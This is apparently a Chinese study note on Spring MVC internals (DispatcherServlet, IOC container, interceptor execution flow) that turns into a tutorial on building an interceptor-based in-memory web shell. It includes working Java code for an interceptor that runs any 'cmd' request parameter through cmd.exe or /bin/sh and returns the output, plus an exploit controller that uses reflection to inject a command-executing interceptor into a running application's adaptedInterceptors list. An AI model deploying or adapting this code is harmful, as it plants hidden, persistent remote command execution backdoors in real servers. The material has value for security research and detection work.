spring mvc流程
1.Spring MVC的核心组件和大致处理流程
-
DispatcherServlet是前端控制器,它负责接收Request并将Request转发给对应的处理组件;
-
HandlerMapping负责完成url到Controller映射,可以通过它来找到对应的处理Request的Controller;
-
Controller处理Request,并返回ModelAndVIew对象,ModelAndView是封装结果视图的组件;④~⑦表示视图解析器解析ModelAndView对象并返回对应的视图给客户端。
2.IOC容器
IOC(控制反转)容器是Spring框架的核心概念之一,它的基本思想是将对象的创建、组装、管理等控制权从应用程序代码反转到容器,使得应用程序组件无需直接管理它们的依赖关系。IOC容器主要负责对象的创建、依赖注入、生命周期管理和配置管理等。Spring框架提供了多种实现IOC容器的方式,下面讲两种常见的:
BeanFactory:Spring的最基本的IOC容器,提供了基本的IOC功能,只有在第一次请求时才创建对象。ApplicationContext:这是BeanFactory的扩展,提供了更多的企业级功能。ApplicationContext在容器启动时就预加载并初始化所有的单例对象,这样就可以提供更快的访问速度。
3.Spring MVC 九大组件
这九大组件需要有个印象:
DispatcherServlet(派发Servlet):负责将请求分发给其他组件,是整个Spring MVC流程的核心;
HandlerMapping(处理器映射):用于确定请求的处理器(Controller);
HandlerAdapter(处理器适配器):将请求映射到合适的处理器方法,负责执行处理器方法;
HandlerInterceptor(处理器拦截器):允许对处理器的执行过程进行拦截和干预;
Controller(控制器):处理用户请求并返回适当的模型和视图;
ModelAndView(模型和视图):封装了处理器方法的执行结果,包括模型数据和视图信息;
ViewResolver(视图解析器):用于将逻辑视图名称解析为具体的视图对象;
LocaleResolver(区域解析器):处理区域信息,用于国际化;
ThemeResolver(主题解析器):用于解析Web应用的主题,实现界面主题的切换。
九大组件初始化
首先是 位于 org.springframework:spring-webmvc
的:
org.springframework.web.servlet.DispatcherServlet
, 查看其类结构, 没有一个总体的init方法, 其父类FrameworkServlet
也一样, 但在其父类的父类HttpServletBean
存在init方法
其中的逻辑暂且不论, 关键在最后的initServletBean();
方法
这个方法接口是留给子类实现的
FrameworkServlet对这个方法进行了实现
其中调用了initWebApplicationContext
方法来初始化IOC容器
其中会调用到onRefresh
这个方法也是留给子类实现的
看注释就知道这是在context刷新hou被调用用来执行一些特定于 Servlet的功能
DispatcherServlet对其进行了实现, 可以砍价其中的逻辑就是对九大组件的初始化
SpringMVC 框架Interceptor组件
TestInterceptor.java
package org.example.springdemo.demos.web; import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse; public class TestInterceptor extends HandlerInterceptorAdapter { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String cmd = request.getParameter("cmd"); if(cmd != null){ try { java.io.PrintWriter writer = response.getWriter(); String output = ""; ProcessBuilder processBuilder; if(System.getProperty("os.name").toLowerCase().contains("win")){ processBuilder = new ProcessBuilder("cmd.exe", "/c", cmd); }else{ processBuilder = new ProcessBuilder("/bin/sh", "-c", cmd); } java.util.Scanner inputScanner = new java.util.Scanner(processBuilder.start().getInputStream()).useDelimiter("\\A"); output = inputScanner.hasNext() ? inputScanner.next(): output; inputScanner.close(); writer.write(output); writer.flush(); writer.close(); } catch (Exception ignored){} return false; } return true; }
}
需要将TestInterceptor注册进去
WebConfig.java
package org.example.springdemo.demos.web; import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; @Configuration
public class WebConfig implements WebMvcConfigurer { @Override public void addInterceptors(InterceptorRegistry registry) { registry.addInterceptor(new TestInterceptor()).addPathPatterns("/**"); }
}
Spring Interceptor引入与执行流程分析
Spring Interceptor和Filter的区别
主要区别 | 拦截器 | 过滤器 |
机制 | Java反射机制 | 函数回调 |
是否依赖Servlet容器 | 不依赖 | 依赖 |
作用范围 | 对action请求起作用 | 对几乎所有请求起作用 |
是否可以访问上下文和值栈 | 可以访问 | 不能访问 |
调用次数 | 可以多次被调用 | 在容器初始化时只被调用一次 |
IOC容器中的访问 | 可以获取IOC容器中的各个bean(基于FactoryBean接口) | 不能在IOC容器中获取bean |
Servlet只在第一次访问时才会被加载
断点打在HttpServletBean的init方法, 来看看请求是如何被处理的
看这个调用栈非常熟悉, 还是tomcat那一套
之后就是上面的流程
加载完后 在DispatcherServlet#doDispatch
方法也打上断点, 来看看Dispatcher
是如何处理请求的
调用栈如下
doDispatch:1047, DispatcherServlet (org.springframework.web.servlet)
doService:964, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:670, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:779, HttpServlet (javax.servlet.http)
internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:541, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:360, CoyoteAdapter (org.apache.catalina.connector)
service:399, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:893, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1789, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)
从这里可以看出来Dispatcher就是一个之前tomcat中的Servlet
往下走调用了getHandler这个函数
跟进去, 看注释知道他会返回一个与此次request对应的HandlerExecutionChain
其中的逻辑是通过 mapping.getHandler(request);
来尝试获取handler, 只要获取到就返回
跟进去看看这个方法
- 先是通过getHandlerInternal来获取,如果获取不到,那就调用getDefaultHandler来获取默认的,如果还是获取不到,就直接返回null;
- 然后检查handler是不是一个字符串,如果是,说明可能是一个Bean的名字,这样的话就通过ApplicationContext来获取对应名字的Bean对象,这样就确保 handler 最终会是一个合法的处理器对象;
- 接着检查是否已经有缓存的请求路径,如果没有缓存就调用
initLookupPath(request)
方法来初始化请求路径的查找; - 最后通过
getHandlerExecutionChain
方法创建一个处理器执行链。
跟进到getHandlerExecutionChain
方法
- 如果 handler 已是 HandlerExecutionChain 类型,则直接使用;
- 否则新建一个包装该处理器的执行链,遍历所有adaptedInterceptors拦截器,若拦截器是 MappedInterceptor 类型且匹配当前请求,则将其加入执行链。
- 返回最终的执行链对象。
这样就得到了executionChain
回到getHandler方法
后面是对于需要跨域的请求的处理
之后回到doDispatch 到applyPreHandle就是遍历执行各个interceptor
可以看见执行到了preHandle方法
interceptor型内存马
思路
Spring Interceptor型内存马的编写思路:
- 获取ApplicationContext
- 通过AbstractHandlerMapping反射来获取adaptedInterceptors
- 将要注入的恶意拦截器放入到adaptedInterceptors中
简单思路:
- 获取当前运行环境的上下文
- 实现恶意Interceptor
- 注入恶意Interceptor
★当一个Request发送到Spring应用时,大致会经过如下几个层面才会进入Controller层:
HttpRequest
--> Filter --> DispactherServlet
--> Interceptor
--> Controller
下面的问题就是如何动态地注册一个恶意的Interceptor了。
可以看见只要反射修改AbstractHandlerMapping
即可
我们当前类是RequestMappingHandlerMapping
显然是继承了AbstractHandlerMapping
调用栈往回调, 就能看见这个类的来历, 他是DispatcherServlet
的this.handlerMappings
中其中一个mapping, 听名字就知道是作用于一个request的
按照之前tomcat的思路, 也就是说获取到DispatcherServlet
就能获取到它
看了别的文章, 发现使用的是WebApplicationContext
来获取abstractHandlerMapping
为什么这样?
WebApplicationContext
从何而来? 有什么作用?
这里所说的WebApplicationContext
是一个接口, 在springboot启动时便有了一个context
也就是AnnotationConfigServletWebServerApplicationContext
这个类是实现了WebApplicationContext
接口的
WebApplicationContext
中存放了各种bean, 其中就包括了我们要获取的AbstractHandlerMapping
context创建bean的细节见[[Spring Web MVC 框架#bean创建流程]]
而DispatcherServlet
也持有了这个WebApplicationContext
在 Spring Boot 之前,
DispatcherServlet
自身需要创建一个子上下文来管理 Web 层 Bean。但在 Spring Boot 的世界里,这个职责被简化了。
现在,
DispatcherServlet
的主要任务就是作为一个请求处理器。它不再需要自己去创建和管理 Bean,而是直接使用那个已经创建好的、包含了所有 Bean 的AnnotationConfigServletWebServerApplicationContext
。
如何获取WebApplicationContext
按照文章中的说法, 有四种方法:
1.getCurrentWebApplicationContext
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
getCurrentWebApplicationContext
获得的是一个 XmlWebApplicationContext
实例类型的 Root WebApplicationContext
。
2.WebApplicationContextUtils
_通过这种方法获得的也是一个Root WebApplicationContext。其中 WebApplicationContextUtils.getWebApplicationContext
函数也可以用 WebApplicationContextUtils.getRequiredWebApplicationContext来替换。
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
3.RequestContextUtils
通过ServletRequest
类的实例来获得Child WebApplicationContext
。
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
4.getAttribute
这种方式与前几种的思路就不太一样了,因为所有的Context在创建后,都会被作为一个属性添加到了ServletContext中。所以通过直接获得ServletContext通过属性Context拿到 Child WebApplicationContext
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
先来看getAttribute
getAttribute获取
首先是RequestContextHolder.currentRequestAttributes()
可以获取当前的请求和响应组成的一个Attributes
可以看见它把RequestFacade和ResponeFacade包装在一起了
之后可以跟进getAttribute方法
可以看见第二个参数是0的话就是从requestFacade中获取, 否则从session中获取
最终是从Request中的attribute中获取, 这个attribute存储了当前请求的上下文信息还有请求的具体信息
其中就包括了AnnotationConfigServletWebServerApplicationContext
, 这正是我们要拿到的
获取requestMappingHandlerMapping
接下来就是从AnnotationConfigServletWebServerApplicationContext管理的众多bean中获取AbstractHandlerMapping
虽说是AbstractHandlerMapping, 具体的类实际上是requestMappingHandlerMapping
可以看之前的图:
在beanFactory存储的单例中可以找到:
我们当然可以反射获取,不过在AnnotationConfigServletWebServerApplicationContext的祖宗类AbstractApplicationContext中实现了getBean方法可以直接获取BeanFactory中的bean
构造并植入interceptor
先准备一个简单的恶意拦截器
public class Shell_Interceptor implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } return true; } return false; }
}
之后就是反射获取再add进去
exp
package org.example.springdemo.demos.web; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.ContextLoader;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.List; @Controller
public class BasicController { @RequestMapping("/hello") @ResponseBody public String hello(@RequestParam(name = "name", defaultValue = "unknown user") String name) { WebApplicationContext context1 = ContextLoader.getCurrentWebApplicationContext(); if (context1 != null) { System.out.println(context1.getClass().getName()); } WebApplicationContext context4 = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); if (context4 != null) { System.out.println(context4.getClass().getName()); } AbstractHandlerMapping handlerMapping = (AbstractHandlerMapping)context4.getBean(RequestMappingHandlerMapping.class); if (handlerMapping != null) { System.out.println(handlerMapping.getClass().getName()); } try { Shell_Interceptor interceptor = new Shell_Interceptor(); Class abstractHandlerMappingClazz = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMapping"); Field adaptedInterceptorsField = abstractHandlerMappingClazz.getDeclaredField("adaptedInterceptors"); adaptedInterceptorsField.setAccessible(true); List<HandlerInterceptor> adaptedInterceptors = (List<HandlerInterceptor>) adaptedInterceptorsField.get(handlerMapping); adaptedInterceptors.add(interceptor); } catch (Exception e) { e.printStackTrace(); } return "Hello " + name; } public class Shell_Interceptor implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String cmd = request.getParameter("n4c1"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } return true; } return false; } }
}
Spring WebFlux 框架
[[Spring WebFlux 框架]]
参考
https://juejin.cn/post/7214831216028745783#heading-4
从零掌握java内存马大全(基于LearnJavaMemshellFromZero复现重组)